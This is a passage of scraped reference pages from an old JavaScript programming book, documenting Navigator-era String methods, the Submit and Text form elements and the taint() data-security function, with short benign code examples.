Return a copy of the string, in a <B> environment.

charAt()

Extract the character at a given position from a string.

fixed()

Return a copy of the string, in a <TT> environment.

fontcolor()

Return a copy of the string, in a <FONT COLOR=> environment.

fontsize()

Return a copy of the string, in a <FONT SIZE=> environment.

indexOf()

Search the string for a character or substring.

italics()

Return a copy of the string, in a <I> environment.

lastIndexOf()

Search the string backwards for a character or substring.

link()

Return a copy of the string, in a <A HREF=> environment.

small()

Return a copy of the string, in a <SMALL> environment.

split()

Convert a string to an array of strings, using a specified delimiter character.

strike()

Return a copy of the string, in a <STRIKE> environment.

sub()

Return a copy of the string, in a <SUB> environment.

substring()

Extract a substring of a string.

sup()

Return a copy of the string, in a <SUP> environment.

toLowerCase()

Return a copy of the string, with all characters converted to lower case.

toUpperCase()

Return a copy of the string, with all characters converted to upper case.

Description

Strings are a basic data type in JavaScript. The String object type exists to provide methods for operating on string values. The length property of a String object specifies the number of characters in the string. The String class defines a number of methods, most of which simply make a copy of the string with HTML tags added before and after. Other methods, however, perform more interesting functions: extracting a character or a substring from the string, or searching for a character or a substring, for example.

Background Details

The string datatype and the String object are not the same. In Navigator 2.0, however, they are indistinguishable. In Navigator 3.0, you can use the typeof operator to distinguish them (a string has type "string" and a String object has type "object") but you can also use them interchangeably. The reason that string values and String objects can be used interchangeably is that JavaScript converts between these two types whenever necessary. When you invoke a String object method on a string value (which is not an object and cannot have methods), JavaScript converts that value to a temporary String object, allowing the method to be invoked. This temporary String object is not available to the program.

In Navigator 3.0, you can use the String object constructor method to create String objects that are not temporary, and that can actually be used by your programs. It is rarely, if ever, necessary to do this, but if you do, the String object you create can be used interchangeably with a string value. When an object is used where a string value is required, the object's toString() method is automatically invoked by JavaScript to convert the object to a string. If the object is a String object, the resulting value will be the string value that is required.

Example

A number of the String methods are used for creating HTML:

link_text = "My Home Page".bold();
document.write(link_text.link("http://www.djf.com/~david"));

The code above embeds the following string into the HTML document that is currently being parsed:

<A HREF="http://www.djf.com/~david"><B>My Home Page</B></A>

Other methods of the String object perform more interesting functions. The following code, for example, extracts the 3rd through 5th characters of a string and converts them to uppercase letters:

s.substring(2,5).toUpperCase();

See Also

Chapter 3, Variables and Data Types

Previous | Home | Next
status | Book Index | String.anchor()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.anchor()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.anchor() Method

Name

String.anchor() Method---add an HTML anchor to a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.anchor(name)

Arguments

name

The value of the NAME attribute of the HTML <A> tag, i.e., the name of the anchor to be created.

Returns

A copy of string, enclosed within <A NAME="name"> and </A> HTML tags.

Description

String.anchor() returns a copy of the string for which it is called, surrounded by <A> and </A> HTML tags. The NAME attribute of the <A> tag is set to the name argument. If the resulting string is appended to an HTML document (with Document.write() for example), it defines an anchor, with a name of name, which can be the target of a hypertext link.

Example

The following two JavaScript fragments evaluate to identical strings:

'Chapter 1: Introduction'.anchor('ch01');'
'<A NAME="ch01">Chapter 1: Introduction</A>'

See Also

"String", "String.link()"

Previous | Home | Next
String | Book Index | String.big()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.big()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.big() Method

Name

String.big() Method---make a string <BIG>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.big()

Arguments

None.

Returns

A copy of string, enclosed within <BIG> and </BIG> HTML tags.

See Also

"String", "String.small()"

Previous | Home | Next
String.anchor() | Book Index | String.blink()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.blink()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.blink() Method

Name

String.blink() Method---make a string <BLINK>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.blink()

Arguments

None.

Returns

A copy of string, enclosed within <BLINK> and </BLINK> HTML tags.

See Also

"String"

Previous | Home | Next
String.big() | Book Index | String.bold()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.bold()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.bold() Method

Name

String.bold() Method---make a string bold with <B>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.bold()

Arguments

None.

Returns

A copy of string, enclosed within <B> and </B> HTML tags.

See Also

"String", "String.italics()"

Previous | Home | Next
String.blink() | Book Index | String.charAt()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.charAt()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.charAt() Method

Name

String.charAt() Method---get the nth character from a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.charAt(n)

Arguments

n

The index of the character that should be returned from string.

Returns

The nth character of string.

Description

String.charAt() returns the nth character of the string string. The first character of the string is numbered 0. If n is not between 0 and string.length - 1, then this method returns an empty string. Note that JavaScript does not have a character datatype that is distinct from the string type, so the returned character is a string of length 1.

See Also

"String", "String.indexOf()", "String.lastIndexOf()"

Previous | Home | Next
String.bold() | Book Index | String.fixed()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.focus() Method

Name

Checkbox.focus() Method--- see "Element.focus()"

Previous | Home | Next
Checkbox.defaultChecked | Book Index | Checkbox.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.fixed()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.fixed() Method

Name

String.fixed() Method---make a string fixed-width with <TT>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.fixed()

Arguments

None.

Returns

A copy of string, enclosed within <TT> and </TT> HTML tags.

See Also

"String"

Previous | Home | Next
String.charAt() | Book Index | String.fontcolor()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.fontcolor()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.fontcolor() Method

Name

String.fontcolor() Method---set a string's color with <FONT>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.fontcolor(color)

Arguments

color

A string that specifies the color name or value to be used as the value of the COLOR attribute in the <FONT> HTML tag.

Returns

A copy of string, contained within <FONT COLOR="color"> and </FONT> HTML tags.

Usage

Colors are specified either as one of the standard color names recognized by JavaScript, or as red, green, and blue color values, expressed as six hexadecimal digits in the form RRGGBB.

Example

The first two lines of the following code fragment have the same effect as the second two:

var s1 = 'Red'.fontcolor('red');
var s2 = 'Gray'.fontcolor('A0A0A0');    red, green, & blue are all 0xA0
var s1 = '<FONT COLOR="red">Red</FONT>'
var s2 = '<FONT COLOR="A0A0A0">Gray</FONT>'

See Also

"String", "String.fontsize()", Appendix G, JavaScript and HTML Color Names and Values

Previous | Home | Next
String.fixed() | Book Index | String.fontsize()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.fontsize()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.fontsize() Method

Name

String.fontsize() Method---set a string's font size with <FONT>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.fontsize(size)

Arguments

size

An integer between 1 and 7 or a string that starts with a + or - sign followed by a digit between 1 and 7. If an integer is specified, it is an absolute font size specification. If a string beginning with + or - is specified, it is a font size specification that is relative to the <BASEFONT> font size.

Returns

A copy of string, contained within <FONT SIZE="size"> and </FONT> HTML tags.

Example

The first two lines of the following code fragment have the same effect as the second two:

s1 = 'Chapter 1'.fontsize(6);
s2 = 'SMALLCAPS'.fontsize('-1');
s1 = '<FONT SIZE="6">Chapter 1</FONT>'
s2 = '<FONT SIZE="-1">SMALLCAPS</FONT>'

See Also

"String", "String.big()", "String.small()"

Previous | Home | Next
String.fontcolor() | Book Index | String.indexOf()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.indexOf()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.indexOf() Method

Name

String.indexOf() Method---search a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.indexOf(substring)
string.indexOf(substring, start)

Arguments

substring

The substring that is to be searched for within string.

start

An optional integer argument that specifies the position within string at which the search is to start. Legal values are 0 (the position of the first character in the string) to string.length-1 (the position of the last character in the string). If this argument is omitted, then the search begins at the first character of the string.

Returns

The position of the first occurrence of substring within string that appears after the start position, if any, or -1 if no such occurrence is found.

Description

String.indexOf() searches the string string from beginning to end to see if it contains an occurrence of substring. The search begins at position start within string, or at the beginning of string, if start is not specified. If an occurrence of substring is found, then String.indexOf() returns the position of the first character of the first occurrence of substring within string. Character positions within string are numbered starting with zero.

If no occurrence of substring is found within string, then String.indexOf() returns -1.

Bugs

In Navigator 2.0 and 3.0, if start is greater than the length of string, then indexOf() returns the empty string rather than -1.

See Also

"String",
"String.charAt()",
"String.lastIndexOf()",
"String.substring()"

Previous | Home | Next
String.fontsize() | Book Index | String.italics()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.italics()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.italics() Method

Name

String.italics() Method---make a string italic with <I>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.italics()

Arguments

None.

Returns

A copy of string, enclosed within <I> and </I> HTML tags.

See Also

"String", "String.bold()"

Previous | Home | Next
String.indexOf() | Book Index | String.lastIndexOf()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.lastIndexOf()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.lastIndexOf() Method

Name

String.lastIndexOf() Method---search a string backwards

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.lastIndexOf(substring)
string.lastIndexOf(substring, start)

Arguments

substring

The substring that is to be searched for within string.

start

An optional integer argument that specifies the position within string at which the search is to start. Legal values are 0 (the position of the first character in the string) to string.length-1 (the position of the last character in the string). If this argument is omitted, then the search begins at the last character of the string.

Returns

The position of the last occurrence of substring within string that appears before the start position, if any, or -1 if no such occurrence is found within string.

Description

String.lastIndexOf() searches the string from end to beginning to see if it contains an occurrence of substring. The search begins at position start within string, or at the end of string if start is not specified. If an occurrence of substring is found, then String.lastIndexOf() returns the position of the first character of that occurrence. Since this method searches from end to beginning of the string, the first occurrence found will be the last one in the string that occurs before the start position.

If no occurrence of substring is found, then String.lastIndexOf() returns -1.

Note that although String.lastIndexOf() searches string from end to beginning, it still numbers character positions within string from the beginning. The first character of the string has position 0, and the last has position string.length-1.

See Also

"String",
"String.charAt()",
"String.indexOf()",
"String.substring()"

Previous | Home | Next
String.italics() | Book Index | String.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.length Property

Name

String.length Property---the length of a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.length

Description

The String.length property is an integer that indicates the number of characters in the specified string. For any string s, the index of the last character is s.length-1.

See Also

"String"

Previous | Home | Next
String.lastIndexOf() | Book Index | String.link()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.link()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.link() Method

Name

String.link() Method---add a hypertext link to a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.link(href)

Arguments

href

The URL target of the hypertext link that is to be added to the string. This string argument specifies the value of the HREF attribute of the <A> HTML tag.

Returns

A copy of string, enclosed within <A HREF="href"> and </A> HTML tags.

Example

The following two JavaScript fragments evaluate to identical strings:

'Section 1-1'.link('ch01#sect1')
'<A HREF="ch01#sect1">Section 1-1</A>'

See Also

"String", "String.anchor()"

Previous | Home | Next
String.length | Book Index | String.prototype
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.prototype

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.prototype Property

Name

String.prototype Property---see "Function.prototype"

Previous | Home | Next
String.link() | Book Index | String.small()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.small()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.small() Method

Name

String.small() Method---make a string <SMALL>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.small()

Arguments

None.

Returns

A copy of string, enclosed within <SMALL> and </SMALL> HTML tags.

See Also

"String"

Previous | Home | Next
String.prototype | Book Index | String.split()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.form Property

Name

Checkbox.form Property--- see "Element.form"

Previous | Home | Next
Checkbox.focus() | Book Index | Checkbox.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.split()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.split() Method

Name

String.split() Method---break a string into an array of strings

Availability

Navigator 3.0

Synopsis

string.split();
string.split(delimiter);

Arguments

delimiter

The character or string at which the string will be split. If no delimiter is specified, then the returned array has only one element, the string itself.

Returns

An array of strings, created by splitting string into substrings, at delimiter boundaries.

Description

The split() method creates and returns an array of substrings of the specified string. These substrings are created by splitting the string at every occurrence of the specified delimiter. The delimiter character or characters are not part of the returned substrings.

If no delimiter is specified, then the string is not split at all, and the returned array contains only a single, unbroken string element.

Unfortunately, there is no way to specify more than one delimiter string or character to use. For example, there is no way to tell it to treat any of the space, newline and tab characters as delimiters.

Note that the String.split() method is the inverse of the Array.join() method.

Example

The split() method is most useful when you are working with highly structured strings. For example:

s = "1,2,3,4,5"
a = s.split(",");

Another common use of the split() method is to parse commands and similar strings by breaking them down into words delimited by spaces:

words = sentence.split(' ');

See Also

"Array.join()", "String"

Previous | Home | Next
String.small() | Book Index | String.strike()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.strike()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.strike() Method

Name

String.strike() Method---strike-out a string with <STRIKE>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.strike()

Arguments

None.

Returns

A copy of string, enclosed within <STRIKE> and </STRIKE> HTML tags.

See Also

"String"

Previous | Home | Next
String.split() | Book Index | String.sub()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.sub()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.sub() Method

Name

String.sub() Method---make a string a subscript with <SUB>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.sub()

Arguments

None.

Returns

A copy of string, enclosed within <SUB> and </SUB> HTML tags.

See Also

"String", "String.sup()"

Previous | Home | Next
String.strike() | Book Index | String.substring()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.substring()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.substring() Method

Name

String.substring() Method---return a substring of a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.substring(from, to)

Arguments

from

An integer that specifies the position within string of the first character of the desired substring. from must be between 0 and string.length-1.

to

An optional integer that is one greater than the position within string of the last character of the desired substring. to must be between 1 and string.length.

Returns

A new string, of length to-from, which contains a substring of string. The new string contains characters copied from positions from to to-1 of string.

Description

String.substring() returns the specified substring of string. If from equals to, String.substring() returns an empty (length 0) string. If from is greater than to, this method first swaps the two arguments before proceeding.

Usage

String.substring() can be a confusing function to use. It is important to remember that the character at position from is included in the substring, but that the character at position to is not included in the substring. One notable feature of assigning the arguments this way is that the length of the returned substring is always equal to to-from.

Often it is more convenient to extract a substring of a string by specifying the start character and the desired length of the substring. You can do this with a function like the following:

function substring2(string, start, length) {
    return string.substring(start, start+length);
}

See Also

"String",
"String.charAt()",
"String.indexOf()",
"String.lastIndexOf()"

Previous | Home | Next
String.sub() | Book Index | String.sup()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.sup()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.sup() Method

Name

String.sup() Method---make a string a superscript with <SUP>

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.sup()

Arguments

None.

Returns

A copy of string, enclosed within <SUP> and </SUP> HTML tags.

See Also

"String", "String.sub()"

Previous | Home | Next
String.substring() | Book Index | String.toLowerCase()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.toLowerCase()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.toLowerCase() Method

Name

String.toLowerCase() Method---convert a string to lowercase

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.toLowerCase()

Arguments

None.

Returns

A copy of string, with all uppercase letters converted to lowercase.

See Also

"String", "String.toUpperCase()"

Previous | Home | Next
String.sup() | Book Index | String.toUpperCase()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String.toUpperCase()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String.toUpperCase() Method

Name

String.toUpperCase() Method---convert a string to uppercase

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

string.toUpperCase()

Arguments

None.

Returns

A copy of string, with all lowercase letters converted to uppercase.

See Also

"String"

Previous | Home | Next
String.toLowerCase() | Book Index | Submit
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit Element

Name

Submit Element---a button to submit a form

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.name
form.elements[i]
form.elements['name']

Properties

form

A read-only reference to the Form object that contains the Submit element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Submit element. This is also the name that can be used to reference the Submit element as a property of its form.

type

A read-only string that specifies the type of this form element. For Submit elements, it has the value "submit". Available in Navigator 3.0 and later.

value

A read-only string, set by the HTML VALUE attribute, that specifies the text to appear in the button. If no VALUE is specified, then (in Navigator) the button will be labelled "Submit Query" by default.

Methods

blur()

Removes keyboard focus from the Submit button.

click()

Simulates a click on the Submit button.

focus()

Gives keyboard focus to the Submit button.

Event Handlers

onblur()

Invoked when the Submit button loses keyboard focus.

onclick()

Invoked when the Submit button is clicked.

onfocus()

Invoked when the Submit button is given keyboard focus.

HTML Syntax

An Reset object is created with a standard HTML <INPUT> tag, with the addition of the onClick attribute:

<FORM>
    ...
  <INPUT
    TYPE="submit"   specifies that this is a Submit button
    [ VALUE="label" ] the text that is to appear within the button
    specifies the value property
    [ NAME="name" ]   a name that can later be used to refer to the button
    specifies the name property
    [ onClick="handler" ] JavaScript statements to be executed when the button is clicked
  >
    ...
</FORM>

Description

The Submit element has the same properties and methods as the Button object, but has a more specialized purpose. When a Submit button is clicked, it submits the data in the form that contains the button to the server specified by the form's ACTION attribute, and loads the resulting HTML page sent back by that server.

Usage

Form data may also be submitted by invoking the Form.submit() method. The Submit.onclick() event handler can define additional JavaScript statements to be executed when a Submit button is clicked, but this event handler cannot prevent the form from being submitted (if it fails input verification tests, for example).[1] To cancel a form submission, you must use the Form.onsubmit() event handler.

[1] This event handler can abort a submission in Navigator 3.0; see the reference entry for details.

If no VALUE attribute is specified for a Submit object, it will be labelled Submit Query. In some forms, it may make more sense to label the button Submit or Done or Send.

See Also

"Button", "Element", "Form", "Form.onsubmit()", "Form.submit()"

Previous | Home | Next
String.toUpperCase() | Book Index | Submit.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.blur() Method

Name

Submit.blur() Method--- see "Element.blur()"

Previous | Home | Next
Submit | Book Index | Submit.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.click() Method

Name

Submit.click() Method--- see "Element.click()"

Previous | Home | Next
Submit.blur() | Book Index | Submit.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.name Property

Name

Checkbox.name Property--- see "Element.name"

Previous | Home | Next
Checkbox.form | Book Index | Checkbox.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.focus() Method

Name

Submit.focus() Method--- see "Element.focus()"

Previous | Home | Next
Submit.click() | Book Index | Submit.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.form Property

Name

Submit.form Property--- see "Element.form"

Previous | Home | Next
Submit.focus() | Book Index | Submit.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.name Property

Name

Submit.name Property--- see "Element.name"

Previous | Home | Next
Submit.form | Book Index | Submit.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.onblur() Handler

Name

Submit.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Submit.name | Book Index | Submit.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.onclick() Handler

Name

Submit.onclick() Handler---invoked when a Submit button is clicked

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

<INPUT TYPE="submit" a definition of the handler
       onClick="handler-statements">
submit.onclick    a reference to the handler
submit.onclick(); an explicit invocation of the handler

Description

The Submit.onclick() event handler is defined by the onClick attribute of the HTML <INPUT> tag that defines the Submit button. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the user clicks on the Submit button.

The Submit button has the special function of submitting a form to the server. This event handler may add any additional functionality to the Submit button. In Navigator 2.0, there is no way for this onclick() event handler to cancel the submit action or to prevent the form from being submitted; use the Form.onsubmit() event handler to perform input validation and to cancel form submission if necessary.

In Navigator 3.0, the onclick() event handler may return false to prevent the Submit object from submitting the form.

See Also

"Button", "Button.onclick()", "Form", "Form.onsubmit()", "Form.submit()", "Submit"

Previous | Home | Next
Submit.onblur() | Book Index | Submit.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.onfocus() Handler

Name

Submit.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Submit.onclick() | Book Index | Submit.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.type Property

Name

Submit.type Property---see "Element.type"

Previous | Home | Next
Submit.onfocus() | Book Index | Submit.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Submit.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Submit.value Property

Name

Submit.value Property---the label of a Submit button

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

submit.value

Description

The value property is a read-only string that specifies the text that appears within the Submit button. It is specified by the VALUE attribute of the <INPUT> tag that created the button. If no VALUE attribute is specified, the default value is Submit Query.

See Also

"Element.value", "Submit"

Previous | Home | Next
Submit.type | Book Index | sun
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: sun

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

sun Property

Name

sun Property---the sun.* Java package

Availability

Navigator 3.0

Synopsis

sun

Description

sun is a global property of the Window object, and is usually used without reference to any particular window. It is a synonym for Packages.sun, and contains a read-only reference to a JavaPackage object that represents the top node of the sun.* Java package name hierarchy.

See Also

"JavaPackage", "Packages.sun"

Previous | Home | Next
Submit.value | Book Index | taint()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: taint()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

taint() Function

Name

taint() Function---taint a value or window

Availability

Navigator 3.0 with data tainting enabled

Synopsis

taint()
taint(value)

Arguments

value

The value for which a tainted copy is to be made. If this argument is not specified, then taint() adds taint to the current window instead.

Returns

A tainted copy of value, if it is a primitive data type, or a tainted reference to value, if it is an object type.

Description

The taint() function is used when the data-tainting security model is in effect. See Chapter 20, JavaScript Security for details on this security model. JavaScript automatically associates taint with data values that are potentially private, and which should not be "stolen" by scripts. If you have additional sensitive data that is not automatically tainted by JavaScript, you can add taint to it with the taint() function.

taint() does not taint the value it is passed; instead, it returns a tainted copy of that value, or a tainted reference to that value for object types. (Note that taint is associated with primitive values and with references to objects, not with the objects themselves.)

Sometimes taint is carried not by data values, but by the control flow of a program. In this case, you may want to add taint to the entire window in which JavaScript code runs. You can do this by calling taint() with no arguments.

See Also

"untaint()", Chapter 20, JavaScript Security

Previous | Home | Next
sun | Book Index | Text
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.onblur() Handler

Name

Checkbox.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Checkbox.name | Book Index | Checkbox.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text Element

Name

Text Element---a graphical text input field

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.name
form.elements[i]

Properties

defaultValue

A read-only string that specifies the initial value to appear in the input field. Specified by the VALUE attribute of the <INPUT> tag.

form

A read-only reference to the Form object that contains the Text element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Text element. This is also the name that can be used to reference the Text element as a property of its form.

type

A read-only string that specifies the type of this form element. For Text elements, it has the value "text". Available in Navigator 3.0 and later.

value

A read/write string that specifies the value contained in the input field (which is also the value sent to the server when the form is submitted). The initial value of this property is specified by the VALUE attribute.

Methods

blur()

Remove the keyboard focus from the Text element.

focus()

Set the keyboard focus to the Text element. When focus is set, all keystrokes are automatically entered into this element.

select()

Highlight all the text in the Text element, and enter a special mode so that future input replaces the highlighted text.

Event Handlers

onblur()

Invoked when a user action causes the Text element to lose the keyboard focus.

onchange()

Invoked when the user changes the value in the Text element and moves the keyboard focus elsewhere. This event handler is not invoked for every keystroke in the Text element, but only when the user completes an edit.

onfocus()

Invoked when a user action causes the Text element to gain the keyboard focus.

HTML Syntax

A Text element is created with a standard HTML <INPUT> tag, with the addition of optional attributes for event handlers:

<FORM>
    ...
  <INPUT
    TYPE="text" specifies that this is a Text element
    [ NAME="name" ]   a name that can later be used to refer to this element
    specifies the name property
    [ VALUE="default" ]   the default value transmitted when the form is submitted
    specifies the defaultValue property
    [ SIZE=integer ]  how many characters wide the element is
    [ MAXLENGTH=integer ] max allowed number of input characters
    [ onBlur="handler" ]  the onblur() event handler
    [ onChange="handler" ]    the onchange() event handler
    [ onFocus="handler" ] the onfocus() event handler
  >
    ...
</FORM>

Description

